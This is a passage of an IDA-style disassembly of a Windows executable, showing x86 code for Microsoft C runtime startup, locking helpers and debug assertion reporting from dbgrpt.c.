		test	eax, eax
		jnz	short loc_422194
		push	1Ch
		call	sub_4222A0
		add	esp, 4

loc_422194:				; CODE XREF: sub_422100+88j
		call	sub_428E00
		test	eax, eax
		jnz	short loc_4221A7
		push	10h
		call	sub_4222A0
		add	esp, 4

loc_4221A7:				; CODE XREF: sub_422100+9Bj
		mov	[ebp+var_4], 0
		call	sub_42FB10
		call	dword_4F5490	; GetCommandLineA
		mov	dword_4F4AE4, eax
		call	sub_42F8F0
		mov	dword_4F3420, eax
		call	sub_42F3E0
		call	sub_42F290
		call	sub_41E860
		mov	[ebp+var_30], 0
		lea	ecx, [ebp+var_5C]
		push	ecx
		call	dword_4F548C	; GetStartupInfoA
		call	sub_42F1D0
		mov	[ebp+var_64], eax
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_422207
		mov	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_6C], eax
		jmp	short loc_42220E
; ---------------------------------------------------------------------------

loc_422207:				; CODE XREF: sub_422100+F8j
		mov	[ebp+var_6C], 0Ah

loc_42220E:				; CODE XREF: sub_422100+105j
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	edx, [ebp+var_64]
		push	edx
		push	0
		push	0
		call	dword_4F5370	; GetModuleHandleA
		push	eax
		call	sub_401404
		mov	[ebp+var_60], eax
		mov	eax, [ebp+var_60]
		push	eax
		call	sub_41E8A0
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp+var_68], eax
		mov	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_68]
		push	edx
		call	sub_42EFB0
		add	esp, 8
		retn
sub_422100	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-68h]
		push	eax
		call	sub_41E8C0
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422270	proc near		; CODE XREF: sub_420D30+2Cp
					; sub_4222D0+8Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4F3428, 1
		jnz	short loc_422281
		call	sub_42FEE0

loc_422281:				; CODE XREF: sub_422270+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FF30
		add	esp, 4
		push	0FFh
		call	off_451900
		add	esp, 4
		pop	ebp
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222A0	proc near		; CODE XREF: sub_422100+8Cp
					; sub_422100+9Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	dword_4F3428, 1
		jnz	short loc_4222B1
		call	sub_42FEE0

loc_4222B1:				; CODE XREF: sub_4222A0+Aj
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FF30
		add	esp, 4
		push	0FFh
		call	dword_4F5338	; ExitProcess
		pop	ebp
		retn
sub_4222A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222D0	proc near		; DATA XREF: .packed:0043F024o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F4AE0, 0
		jnz	short loc_4222E9
		mov	dword_4F4AE0, 200h
		jmp	short loc_4222FC
; ---------------------------------------------------------------------------

loc_4222E9:				; CODE XREF: sub_4222D0+Bj
		cmp	dword_4F4AE0, 14h
		jge	short loc_4222FC
		mov	dword_4F4AE0, 14h

loc_4222FC:				; CODE XREF: sub_4222D0+17j
					; sub_4222D0+20j
		push	83h
		push	offset dword_43CDF4
		push	2
		push	4
		mov	eax, dword_4F4AE0
		push	eax
		call	sub_41C2D0
		add	esp, 14h
		mov	dword_4F3AD4, eax
		cmp	dword_4F3AD4, 0
		jnz	short loc_422365
		mov	dword_4F4AE0, 14h
		push	86h
		push	offset dword_43CDF4
		push	2
		push	4
		mov	ecx, dword_4F4AE0
		push	ecx
		call	sub_41C2D0
		add	esp, 14h
		mov	dword_4F3AD4, eax
		cmp	dword_4F3AD4, 0
		jnz	short loc_422365
		push	1Ah
		call	sub_422270
		add	esp, 4

loc_422365:				; CODE XREF: sub_4222D0+54j
					; sub_4222D0+89j
		mov	[ebp+var_4], 0
		jmp	short loc_422377
; ---------------------------------------------------------------------------

loc_42236E:				; CODE XREF: sub_4222D0+C4j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_422377:				; CODE XREF: sub_4222D0+9Cj
		cmp	[ebp+var_4], 14h
		jge	short loc_422396
		mov	eax, [ebp+var_4]
		shl	eax, 5
		add	eax, offset off_451908
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4F3AD4
		mov	[edx+ecx*4], eax
		jmp	short loc_42236E
; ---------------------------------------------------------------------------

loc_422396:				; CODE XREF: sub_4222D0+ABj
		mov	[ebp+var_4], 0
		jmp	short loc_4223A8
; ---------------------------------------------------------------------------

loc_42239F:				; CODE XREF: sub_4222D0:loc_4223F6j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_4223A8:				; CODE XREF: sub_4222D0+CDj
		cmp	[ebp+var_4], 3
		jge	short loc_4223F8
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jz	short loc_4223E6
		mov	ecx, [ebp+var_4]
		sar	ecx, 5
		mov	edx, [ebp+var_4]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		cmp	dword ptr [eax+edx], 0
		jnz	short loc_4223F6

loc_4223E6:				; CODE XREF: sub_4222D0+F8j
		mov	ecx, [ebp+var_4]
		shl	ecx, 5
		mov	dword_451918[ecx], 0FFFFFFFFh

loc_4223F6:				; CODE XREF: sub_4222D0+114j
		jmp	short loc_42239F
; ---------------------------------------------------------------------------

loc_4223F8:				; CODE XREF: sub_4222D0+DCj
		mov	esp, ebp
		pop	ebp
		retn
sub_4222D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422400	proc near		; DATA XREF: .packed:0043F038o
		push	ebp
		mov	ebp, esp
		call	sub_422FE0
		movsx	eax, byte_4F33EC
		test	eax, eax
		jz	short loc_422418
		call	sub_430140

loc_422418:				; CODE XREF: sub_422400+11j
		pop	ebp
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422420	proc near		; CODE XREF: sub_41BCF0+55p
					; sub_41E180+8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_451908
		jb	short loc_42244E
		cmp	[ebp+arg_0], offset dword_451B68
		ja	short loc_42244E
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_451908
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_423280
		add	esp, 4
		jmp	short loc_42245B
; ---------------------------------------------------------------------------

loc_42244E:				; CODE XREF: sub_422420+Aj
					; sub_422420+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	dword_4F53A8	; RtlEnterCriticalSection

loc_42245B:				; CODE XREF: sub_422420+2Cj
		pop	ebp
		retn
sub_422420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422460	proc near		; CODE XREF: sub_422FF0+7Ep
					; sub_427B60+6Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_42247A
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_423280
		add	esp, 4
		jmp	short loc_422487
; ---------------------------------------------------------------------------

loc_42247A:				; CODE XREF: sub_422460+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	dword_4F53A8	; RtlEnterCriticalSection

loc_422487:				; CODE XREF: sub_422460+18j
		pop	ebp
		retn
sub_422460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422490	proc near		; CODE XREF: sub_41BCF0+70p
					; sub_41E180+2Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], offset off_451908
		jb	short loc_4224BE
		cmp	[ebp+arg_0], offset dword_451B68
		ja	short loc_4224BE
		mov	eax, [ebp+arg_0]
		sub	eax, offset off_451908
		sar	eax, 5
		add	eax, 1Ch
		push	eax
		call	sub_423320
		add	esp, 4
		jmp	short loc_4224CB
; ---------------------------------------------------------------------------

loc_4224BE:				; CODE XREF: sub_422490+Aj
					; sub_422490+13j
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		call	dword_4F53A4	; RtlLeaveCriticalSection

loc_4224CB:				; CODE XREF: sub_422490+2Cj
		pop	ebp
		retn
sub_422490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224D0	proc near		; CODE XREF: sub_422FF0+116p
					; sub_427B60+A0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 14h
		jge	short loc_4224EA
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_423320
		add	esp, 4
		jmp	short loc_4224F7
; ---------------------------------------------------------------------------

loc_4224EA:				; CODE XREF: sub_4224D0+7j
		mov	ecx, [ebp+arg_4]
		add	ecx, 20h
		push	ecx
		call	dword_4F53A4	; RtlLeaveCriticalSection

loc_4224F7:				; CODE XREF: sub_4224D0+18j
		pop	ebp
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422500	proc near		; CODE XREF: sub_422610+113p
					; sub_4229A0+33p
		push	ebp
		mov	ebp, esp
		call	dword_4F5498	; DebugBreak
		pop	ebp
		retn
sub_422500	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_422520
		cmp	dword ptr [ebp+8], 3
		jl	short loc_422525

loc_422520:				; CODE XREF: .packed:00422518j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422563
; ---------------------------------------------------------------------------

loc_422525:				; CODE XREF: .packed:0042251Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFFh
		jnz	short loc_422537
		mov	eax, [ebp+8]
		mov	eax, dword_451B8C[eax*4]
		jmp	short loc_422563
; ---------------------------------------------------------------------------

loc_422537:				; CODE XREF: .packed:00422529j
		mov	ecx, [ebp+0Ch]
		and	ecx, 0FFFFFFF8h
		test	ecx, ecx
		jz	short loc_422546
		or	eax, 0FFFFFFFFh
		jmp	short loc_422563
; ---------------------------------------------------------------------------

loc_422546:				; CODE XREF: .packed:0042253Fj
		mov	edx, [ebp+8]
		mov	eax, dword_451B8C[edx*4]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	dword_451B8C[ecx*4], edx
		mov	eax, [ebp-4]

loc_422563:				; CODE XREF: .packed:00422523j
					; .packed:00422535j ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jl	short loc_422580
		cmp	dword ptr [ebp+8], 3
		jl	short loc_422587

loc_422580:				; CODE XREF: .packed:00422578j
		mov	eax, 0FFFFFFFEh
		jmp	short loc_4225EA
; ---------------------------------------------------------------------------

loc_422587:				; CODE XREF: .packed:0042257Ej
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFAh
		jnz	short loc_422599
		mov	eax, [ebp+8]
		mov	eax, dword_451B98[eax*4]
		jmp	short loc_4225EA
; ---------------------------------------------------------------------------

loc_422599:				; CODE XREF: .packed:0042258Bj
		mov	ecx, [ebp+8]
		mov	edx, dword_451B98[ecx*4]
		mov	[ebp-4], edx
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFCh
		jnz	short loc_4225C0
		push	0FFFFFFF5h
		call	dword_4F549C	; GetStdHandle
		mov	ecx, [ebp+8]
		mov	dword_451B98[ecx*4], eax
		jmp	short loc_4225E7
; ---------------------------------------------------------------------------

loc_4225C0:				; CODE XREF: .packed:004225AAj
		cmp	dword ptr [ebp+0Ch], 0FFFFFFFBh
		jnz	short loc_4225DA
		push	0FFFFFFF4h
		call	dword_4F549C	; GetStdHandle
		mov	edx, [ebp+8]
		mov	dword_451B98[edx*4], eax
		jmp	short loc_4225E7
; ---------------------------------------------------------------------------

loc_4225DA:				; CODE XREF: .packed:004225C4j
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	dword_451B98[eax*4], ecx

loc_4225E7:				; CODE XREF: .packed:004225BEj
					; .packed:004225D8j
		mov	eax, [ebp-4]

loc_4225EA:				; CODE XREF: .packed:00422585j
					; .packed:00422597j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3AD0
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F3AD0, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422610	proc near		; CODE XREF: sub_41BCF0+24p
					; sub_41BD80+2Cp ...

var_302C	= dword	ptr -302Ch
var_3028	= dword	ptr -3028h
var_3024	= byte ptr -3024h
var_3010	= byte ptr -3010h
var_300C	= dword	ptr -300Ch
var_3008	= byte ptr -3008h
var_3007	= byte ptr -3007h
var_2008	= byte ptr -2008h
var_2007	= byte ptr -2007h
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 302Ch
		call	sub_41EF80
		push	edi
		mov	[ebp+var_3008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_3007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_2008],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_2007]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_1000],	0
		mov	ecx, 3FFh
		xor	eax, eax
		lea	edi, [ebp+var_FFF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+arg_14]
		mov	[ebp+var_1004],	eax
		cmp	[ebp+arg_0], 0
		jl	short loc_42267E
		cmp	[ebp+arg_0], 3
		jl	short loc_422686

loc_42267E:				; CODE XREF: sub_422610+66j
		or	eax, 0FFFFFFFFh
		jmp	loc_42299B
; ---------------------------------------------------------------------------

loc_422686:				; CODE XREF: sub_422610+6Cj
		cmp	[ebp+arg_0], 2
		jnz	loc_422730
		push	offset dword_451B88
		call	dword_4F5488	; InterlockedIncrement
		test	eax, eax
		jle	loc_422730
		cmp	dword_4F3430, 0
		jnz	short loc_4226EE
		push	offset aUser32_dll_0 ; "user32.dll"
		call	dword_4F538C	; LoadLibraryA
		mov	[ebp+var_300C],	eax
		cmp	[ebp+var_300C],	0
		jz	short loc_4226E6
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_300C]
		push	ecx
		call	dword_4F5390	; GetProcAddress
		mov	dword_4F3430, eax
		cmp	dword_4F3430, 0
		jnz	short loc_4226EE

loc_4226E6:				; CODE XREF: sub_422610+B4j
		or	eax, 0FFFFFFFFh
		jmp	loc_42299B
; ---------------------------------------------------------------------------

loc_4226EE:				; CODE XREF: sub_422610+9Aj
					; sub_422610+D4j
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	offset aSecondChanceAs ; "Second Chance	Assertion Failed: File %s"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	dword_4F3430
		add	esp, 10h
		lea	edx, [ebp+var_2008]
		push	edx
		call	dword_4F54A0	; OutputDebugStringA
		push	offset dword_451B88
		call	dword_4F5484	; InterlockedDecrement
		call	sub_422500
		or	eax, 0FFFFFFFFh
		jmp	loc_42299B
; ---------------------------------------------------------------------------

loc_422730:				; CODE XREF: sub_422610+7Aj
					; sub_422610+8Dj
		cmp	[ebp+arg_10], 0
		jz	short loc_42276D
		mov	eax, [ebp+var_1004]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		push	0FEDh
		lea	edx, [ebp+var_1000]
		push	edx
		call	sub_41F9C0
		add	esp, 10h
		test	eax, eax
		jge	short loc_42276D
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_41F620
		add	esp, 8

loc_42276D:				; CODE XREF: sub_422610+124j
					; sub_422610+147j
		cmp	[ebp+arg_0], 2
		jnz	short loc_4227A5
		cmp	[ebp+arg_10], 0
		jz	short loc_422785
		mov	[ebp+var_3028],	offset aAssertionFaile ; "Assertion failed: "
		jmp	short loc_42278F
; ---------------------------------------------------------------------------

loc_422785:				; CODE XREF: sub_422610+167j
		mov	[ebp+var_3028],	offset aAssertionFai_0 ; "Assertion failed!"

loc_42278F:				; CODE XREF: sub_422610+173j
		mov	ecx, [ebp+var_3028]
		push	ecx
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_41F620
		add	esp, 8

loc_4227A5:				; CODE XREF: sub_422610+161j
		lea	eax, [ebp+var_1000]
		push	eax
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_41F630
		add	esp, 8
		cmp	[ebp+arg_0], 2
		jnz	short loc_4227FA
		mov	edx, [ebp+arg_0]
		mov	eax, dword_451B8C[edx*4]
		and	eax, 1
		test	eax, eax
		jz	short loc_4227E6
		push	offset asc_43CE30 ; "\r"
		lea	ecx, [ebp+var_3008]
		push	ecx
		call	sub_41F630
		add	esp, 8

loc_4227E6:				; CODE XREF: sub_422610+1C0j
		push	offset asc_43CE2C ; "\n"
		lea	edx, [ebp+var_3008]
		push	edx
		call	sub_41F630
		add	esp, 8

loc_4227FA:				; CODE XREF: sub_422610+1AFj
		cmp	[ebp+arg_4], 0
		jz	short loc_422842
		lea	eax, [ebp+var_3008]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aSDS	; "%s(%d) : %s"
		push	1000h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41EC30
		add	esp, 18h
		test	eax, eax
		jge	short loc_422840
		push	offset a_crtdbgreportS ; "_CrtDbgReport: String	too long or IO Er"...
		lea	ecx, [ebp+var_2008]
		push	ecx
		call	sub_41F620
		add	esp, 8

loc_422840:				; CODE XREF: sub_422610+21Aj
		jmp	short loc_422858
; ---------------------------------------------------------------------------

loc_422842:				; CODE XREF: sub_422610+1EEj
		lea	edx, [ebp+var_3008]
		push	edx
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41F620
		add	esp, 8

loc_422858:				; CODE XREF: sub_422610:loc_422840j
		cmp	dword_4F3AD0, 0
		jz	short loc_42289C
		lea	ecx, [ebp+var_1008]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F3AD0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42289C
		cmp	[ebp+arg_0], 2
		jnz	short loc_422891
		push	offset dword_451B88
		call	dword_4F5484	; InterlockedDecrement

loc_422891:				; CODE XREF: sub_422610+274j
		mov	eax, [ebp+var_1008]
		jmp	loc_42299B
; ---------------------------------------------------------------------------

loc_42289C:				; CODE XREF: sub_422610+24Fj
					; sub_422610+26Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_451B8C[ecx*4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4228EB
		mov	eax, [ebp+arg_0]
		cmp	dword_451B98[eax*4], 0FFFFFFFFh
		jz	short loc_4228EB
		push	0
		lea	ecx, [ebp+var_3010]
		push	ecx
		lea	edx, [ebp+var_2008]
		push	edx
		call	sub_41BC70
		add	esp, 4
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_451B98[ecx*4]
		push	edx
		call	dword_4F53B4	; WriteFile

loc_4228EB:				; CODE XREF: sub_422610+29Bj
					; sub_422610+2A8j
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_451B8C[eax*4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_422909
		lea	edx, [ebp+var_2008]
		push	edx
		call	dword_4F54A0	; OutputDebugStringA

loc_422909:				; CODE XREF: sub_422610+2EAj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_451B8C[eax*4]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_422988
		cmp	[ebp+arg_8], 0
		jz	short loc_42293D
		push	0Ah
		lea	edx, [ebp+var_3024]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_430220
		add	esp, 0Ch
		mov	[ebp+var_302C],	eax
		jmp	short loc_422947
; ---------------------------------------------------------------------------

loc_42293D:				; CODE XREF: sub_422610+30Ej
		mov	[ebp+var_302C],	0

loc_422947:				; CODE XREF: sub_422610+32Bj
		lea	ecx, [ebp+var_1000]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_302C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4229A0
		add	esp, 14h
		mov	[ebp+var_1008],	eax
		cmp	[ebp+arg_0], 2
		jnz	short loc_422980
		push	offset dword_451B88
		call	dword_4F5484	; InterlockedDecrement

loc_422980:				; CODE XREF: sub_422610+363j
		mov	eax, [ebp+var_1008]
		jmp	short loc_42299B
; ---------------------------------------------------------------------------

loc_422988:				; CODE XREF: sub_422610+308j
		cmp	[ebp+arg_0], 2
		jnz	short loc_422999
		push	offset dword_451B88
		call	dword_4F5484	; InterlockedDecrement

loc_422999:				; CODE XREF: sub_422610+37Cj
		xor	eax, eax

loc_42299B:				; CODE XREF: sub_422610+71j
					; sub_422610+D9j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_422610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229A0	proc near		; CODE XREF: sub_422610+351p

var_1138	= dword	ptr -1138h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= dword	ptr -1114h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1138h
		call	sub_41EF80

loc_4229AD:				; CODE XREF: sub_4229A0+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_4229D8
		push	offset aSzusermessageN ; "szUserMessage	!= NULL"
		push	0
		push	1DAh
		push	offset aDbgrpt_c ; "dbgrpt.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4229D8
		call	sub_422500

loc_4229D8:				; CODE XREF: sub_4229A0+11j
					; sub_4229A0+31j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4229AD
		push	104h
		lea	ecx, [ebp+var_108]
		push	ecx
		push	0
		call	dword_4F5344	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_422A0A
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_41F620
		add	esp, 8

loc_422A0A:				; CODE XREF: sub_4229A0+54j
		lea	eax, [ebp+var_108]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_422A4D
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_4], edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_422A4D:				; CODE XREF: sub_4229A0+82j
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_1110],	ecx
		cmp	[ebp+var_1110],	0
		jz	short loc_422AA8
		mov	edx, [ebp+var_1110]
		push	edx
		call	sub_41BC70
		add	esp, 4
		cmp	eax, 40h
		jbe	short loc_422AA8
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp+var_1110]
		lea	edx, [ecx+eax-40h]
		mov	[ebp+var_1110],	edx
		push	3
		push	offset a___	; "..."
		mov	eax, [ebp+var_1110]
		push	eax
		call	sub_41E510
		add	esp, 0Ch

loc_422AA8:				; CODE XREF: sub_4229A0+BDj
					; sub_4229A0+D1j
		cmp	[ebp+arg_0], 2
		jnz	short loc_422ABA
		mov	[ebp+var_1114],	offset aForInformation ; "\n\nFor information on how your program c"...
		jmp	short loc_422AC4
; ---------------------------------------------------------------------------

loc_422ABA:				; CODE XREF: sub_4229A0+10Cj
		mov	[ebp+var_1114],	offset dword_43CF7C

loc_422AC4:				; CODE XREF: sub_4229A0+118j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_422AD9
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1118],	eax
		jmp	short loc_422AE3
; ---------------------------------------------------------------------------

loc_422AD9:				; CODE XREF: sub_4229A0+12Cj
		mov	[ebp+var_1118],	offset dword_43CF7C

loc_422AE3:				; CODE XREF: sub_4229A0+137j
		mov	ecx, [ebp+arg_10]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_422AFF
		cmp	[ebp+arg_0], 2
		jnz	short loc_422AFF
		mov	[ebp+var_111C],	offset aExpression ; "Expression: "
		jmp	short loc_422B09
; ---------------------------------------------------------------------------

loc_422AFF:				; CODE XREF: sub_4229A0+14Bj
					; sub_4229A0+151j
		mov	[ebp+var_111C],	offset dword_43CF7C

loc_422B09:				; CODE XREF: sub_4229A0+15Dj
		mov	eax, [ebp+arg_10]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_422B1F
		mov	[ebp+var_1120],	offset asc_43CF68 ; "\n\n"
		jmp	short loc_422B29
; ---------------------------------------------------------------------------

loc_422B1F:				; CODE XREF: sub_4229A0+171j
		mov	[ebp+var_1120],	offset dword_43CF7C

loc_422B29:				; CODE XREF: sub_4229A0+17Dj
		cmp	[ebp+arg_8], 0
		jz	short loc_422B3A
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_1124],	edx
		jmp	short loc_422B44
; ---------------------------------------------------------------------------

loc_422B3A:				; CODE XREF: sub_4229A0+18Dj
		mov	[ebp+var_1124],	offset dword_43CF7C

loc_422B44:				; CODE XREF: sub_4229A0+198j
		cmp	[ebp+arg_8], 0
		jz	short loc_422B56
		mov	[ebp+var_1128],	offset aLine ; "\nLine:	"
		jmp	short loc_422B60
; ---------------------------------------------------------------------------

loc_422B56:				; CODE XREF: sub_4229A0+1A8j
		mov	[ebp+var_1128],	offset dword_43CF7C

loc_422B60:				; CODE XREF: sub_4229A0+1B4j
		cmp	[ebp+arg_4], 0
		jz	short loc_422B71
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_112C],	eax
		jmp	short loc_422B7B
; ---------------------------------------------------------------------------

loc_422B71:				; CODE XREF: sub_4229A0+1C4j
		mov	[ebp+var_112C],	offset dword_43CF7C

loc_422B7B:				; CODE XREF: sub_4229A0+1CFj
		cmp	[ebp+arg_4], 0
		jz	short loc_422B8D
		mov	[ebp+var_1130],	offset aFile_1 ; "\nFile: "
		jmp	short loc_422B97
; ---------------------------------------------------------------------------

loc_422B8D:				; CODE XREF: sub_4229A0+1DFj
		mov	[ebp+var_1130],	offset dword_43CF7C

loc_422B97:				; CODE XREF: sub_4229A0+1EBj
		cmp	[ebp+var_1110],	0
		jz	short loc_422BAE
		mov	ecx, [ebp+var_1110]
		mov	[ebp+var_1134],	ecx
		jmp	short loc_422BB8
; ---------------------------------------------------------------------------

loc_422BAE:				; CODE XREF: sub_4229A0+1FEj
		mov	[ebp+var_1134],	offset dword_43CF7C

loc_422BB8:				; CODE XREF: sub_4229A0+20Cj
		cmp	[ebp+var_1110],	0
		jz	short loc_422BCD
		mov	[ebp+var_1138],	offset aModule ; "\nModule: "
		jmp	short loc_422BD7
; ---------------------------------------------------------------------------

